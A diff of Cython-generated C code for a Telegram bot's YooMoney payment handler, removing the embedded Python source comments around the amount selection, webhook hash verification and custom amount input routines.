__Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -5680,26 +5151,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_14; __pyx_t_14 = 0; - /* "handlers/payments/yoomoney_pay.py":129 - * ) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} .", - * reply_markup=confirm_keyboard, - */ __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/yoomoney_pay.py":130 - * - * await callback_query.message.answer( - * text=f" {amount} .", # <<<<<<<<<<<<<< - * reply_markup=confirm_keyboard, - * ) - */ __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L1_error) @@ -5729,22 +5186,8 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_10) < 0) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - /* "handlers/payments/yoomoney_pay.py":131 - * await callback_query.message.answer( - * text=f" {amount} .", - * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< - * ) - * - */ if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 130, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":129 - * ) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} .", - * reply_markup=confirm_keyboard, - */ __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5770,13 +5213,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yoomoney_pay.py":98 - * - * - * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -5802,13 +5238,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C } static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yoomoney_pay.py":135 - * - * - * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< - * data = await request.post() - * logger.debug(f"Webhook event received: {data}") - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook(PyObject *__pyx_self, @@ -5989,13 +5418,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 135, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":136 - * - * async def yoomoney_webhook(request: web.Request): - * data = await request.post() # <<<<<<<<<<<<<< - * logger.debug(f"Webhook event received: {data}") - * - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_post); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -6042,13 +5464,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":137 - * async def yoomoney_webhook(request: web.Request): - * data = await request.post() - * logger.debug(f"Webhook event received: {data}") # <<<<<<<<<<<<<< - * - * user_id_str = data.get("label") - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) @@ -6084,13 +5499,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":139 - * logger.debug(f"Webhook event received: {data}") - * - * user_id_str = data.get("label") # <<<<<<<<<<<<<< - * amount_str = data.get("withdraw_amount") - * notification_secret = YOOMONEY_SECRET_KEY - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; @@ -6119,13 +5527,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":140 - * - * user_id_str = data.get("label") - * amount_str = data.get("withdraw_amount") # <<<<<<<<<<<<<< - * notification_secret = YOOMONEY_SECRET_KEY - * sha1_hash = data.get("sha1_hash") - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; @@ -6154,26 +5555,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":141 - * user_id_str = data.get("label") - * amount_str = data.get("withdraw_amount") - * notification_secret = YOOMONEY_SECRET_KEY # <<<<<<<<<<<<<< - * sha1_hash = data.get("sha1_hash") - * - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_SECRET_KEY); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_notification_secret = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":142 - * amount_str = data.get("withdraw_amount") - * notification_secret = YOOMONEY_SECRET_KEY - * sha1_hash = data.get("sha1_hash") # <<<<<<<<<<<<<< - * - * string_to_hash = f"{data.get('notification_type')}&{data.get('operation_id')}&{data.get('amount')}&{data.get('currency')}&{data.get('datetime')}&{data.get('sender')}&{data.get('codepro')}&{notification_secret}&{user_id_str}" - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; @@ -6202,13 +5589,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_sha1_hash = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":144 - * sha1_hash = data.get("sha1_hash") - * - * string_to_hash = f"{data.get('notification_type')}&{data.get('operation_id')}&{data.get('amount')}&{data.get('currency')}&{data.get('datetime')}&{data.get('sender')}&{data.get('codepro')}&{notification_secret}&{user_id_str}" # <<<<<<<<<<<<<< - * - * calculated_hash = hashlib.sha1(string_to_hash.encode('utf-8')).hexdigest() - */ __pyx_t_1 = PyTuple_New(17); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = 0; @@ -6490,13 +5870,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_string_to_hash = ((PyObject*)__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yoomoney_pay.py":146 - * string_to_hash = f"{data.get('notification_type')}&{data.get('operation_id')}&{data.get('amount')}&{data.get('currency')}&{data.get('datetime')}&{data.get('sender')}&{data.get('codepro')}&{notification_secret}&{user_id_str}" - * - * calculated_hash = hashlib.sha1(string_to_hash.encode('utf-8')).hexdigest() # <<<<<<<<<<<<<< - * - * if calculated_hash != sha1_hash: - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_sha1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 146, __pyx_L1_error) @@ -6556,25 +5929,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_calculated_hash = __pyx_t_5; __pyx_t_5 = 0; - /* "handlers/payments/yoomoney_pay.py":148 - * calculated_hash = hashlib.sha1(string_to_hash.encode('utf-8')).hexdigest() - * - * if calculated_hash != sha1_hash: # <<<<<<<<<<<<<< - * logger.error(" ") - * return web.Response(status=400) - */ __pyx_t_5 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_calculated_hash, __pyx_cur_scope->__pyx_v_sha1_hash, Py_NE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 148, __pyx_L1_error) __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__pyx_t_9) { - /* "handlers/payments/yoomoney_pay.py":149 - * - * if calculated_hash != sha1_hash: - * logger.error(" ") # <<<<<<<<<<<<<< - * return web.Response(status=400) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L1_error) @@ -6604,13 +5963,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yoomoney_pay.py":150 - * if calculated_hash != sha1_hash: - * logger.error(" ") - * return web.Response(status=400) # <<<<<<<<<<<<<< - * - * try: - */ __Pyx_XDECREF(__pyx_r); __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); @@ -6628,22 +5980,8 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; goto __pyx_L0; - /* "handlers/payments/yoomoney_pay.py":148 - * calculated_hash = hashlib.sha1(string_to_hash.encode('utf-8')).hexdigest() - * - * if calculated_hash != sha1_hash: # <<<<<<<<<<<<<< - * logger.error(" ") - * return web.Response(status=400) - */ } - /* "handlers/payments/yoomoney_pay.py":152 - * return web.Response(status=400) - * - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = float(amount_str) - */ { __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); __Pyx_XGOTREF(__pyx_t_10); @@ -6651,36 +5989,15 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_XGOTREF(__pyx_t_12); /*try:*/ { - /* "handlers/payments/yoomoney_pay.py":153 - * - * try: - * user_id = int(user_id_str) # <<<<<<<<<<<<<< - * amount = float(amount_str) - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - */ __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 153, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_user_id = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":154 - * try: - * user_id = int(user_id_str) - * amount = float(amount_str) # <<<<<<<<<<<<<< - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await add_payment(user_id, amount, "yoomoney") - */ __pyx_t_13 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_13 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 154, __pyx_L6_error) __pyx_cur_scope->__pyx_v_amount = __pyx_t_13; - /* "handlers/payments/yoomoney_pay.py":155 - * user_id = int(user_id_str) - * amount = float(amount_str) - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< - * await add_payment(user_id, amount, "yoomoney") - * await update_balance(user_id, amount) - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L6_error) @@ -6743,13 +6060,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":156 - * amount = float(amount_str) - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await add_payment(user_id, amount, "yoomoney") # <<<<<<<<<<<<<< - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 156, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 156, __pyx_L6_error) @@ -6812,13 +6122,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } } - /* "handlers/payments/yoomoney_pay.py":157 - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await add_payment(user_id, amount, "yoomoney") - * await update_balance(user_id, amount) # <<<<<<<<<<<<<< - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 157, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 157, __pyx_L6_error) @@ -6881,13 +6184,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } } - /* "handlers/payments/yoomoney_pay.py":158 - * await add_payment(user_id, amount, "yoomoney") - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< - * except ValueError as e: - * logger.error(f" user_id amount: {e}") - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 158, __pyx_L6_error) @@ -6950,13 +6246,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } } - /* "handlers/payments/yoomoney_pay.py":152 - * return web.Response(status=400) - * - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = float(amount_str) - */ } __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -6969,13 +6258,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/yoomoney_pay.py":159 - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: # <<<<<<<<<<<<<< - * logger.error(f" user_id amount: {e}") - * return web.Response(status=400) - */ __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_14) { __Pyx_AddTraceback("handlers.payments.yoomoney_pay.yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -6988,13 +6270,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_e = __pyx_t_1; /*try:*/ { - /* "handlers/payments/yoomoney_pay.py":160 - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: - * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< - * return web.Response(status=400) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 160, __pyx_L20_error) @@ -7030,13 +6305,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yoomoney_pay.py":161 - * except ValueError as e: - * logger.error(f" user_id amount: {e}") - * return web.Response(status=400) # <<<<<<<<<<<<<< - * - * return web.Response(status=200) - */ __Pyx_XDECREF(__pyx_r); __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 161, __pyx_L20_error) __Pyx_GOTREF(__pyx_t_5); @@ -7058,13 +6326,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C goto __pyx_L19_return; } - /* "handlers/payments/yoomoney_pay.py":159 - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: # <<<<<<<<<<<<<< - * logger.error(f" user_id amount: {e}") - * return web.Response(status=400) - */ /*finally:*/ { __pyx_L20_error:; /*exception exit:*/{ @@ -7135,13 +6396,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } goto __pyx_L8_except_error; - /* "handlers/payments/yoomoney_pay.py":152 - * return web.Response(status=400) - * - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = float(amount_str) - */ __pyx_L8_except_error:; __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_11); @@ -7157,13 +6411,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_L11_try_end:; } - /* "handlers/payments/yoomoney_pay.py":163 - * return web.Response(status=400) - * - * return web.Response(status=200) # <<<<<<<<<<<<<< - * - * - */ __Pyx_XDECREF(__pyx_r); __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); @@ -7182,13 +6429,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C goto __pyx_L0; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yoomoney_pay.py":135 - * - * - * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< - * data = await request.post() - * logger.debug(f"Webhook event received: {data}") - */ /* function exit code */ __pyx_L1_error:; @@ -7213,13 +6453,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yoomoney_pay.py":166 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount(PyObject *__pyx_self, @@ -7397,13 +6630,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 166, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":170 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -7432,13 +6658,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":171 - * ): - * builder = InlineKeyboardBuilder() - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) @@ -7476,26 +6695,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":173 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":175 - * await callback_query.message.answer( - * ", .", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 175, __pyx_L1_error) @@ -7525,13 +6730,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/yoomoney_pay.py":173 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__18, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -7556,13 +6754,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ } } - /* "handlers/payments/yoomoney_pay.py":178 - * ) - * - * await state.set_state(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< - * - * - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) @@ -7614,13 +6805,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yoomoney_pay.py":166 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -7645,13 +6829,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_ } static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yoomoney_pay.py":181 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input(PyObject *__pyx_self, @@ -7836,13 +7013,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 181, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":183 - * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): # <<<<<<<<<<<<<< - * amount = int(message.text) - * if amount <= 0: - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) @@ -7874,13 +7044,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_5) { - /* "handlers/payments/yoomoney_pay.py":184 - 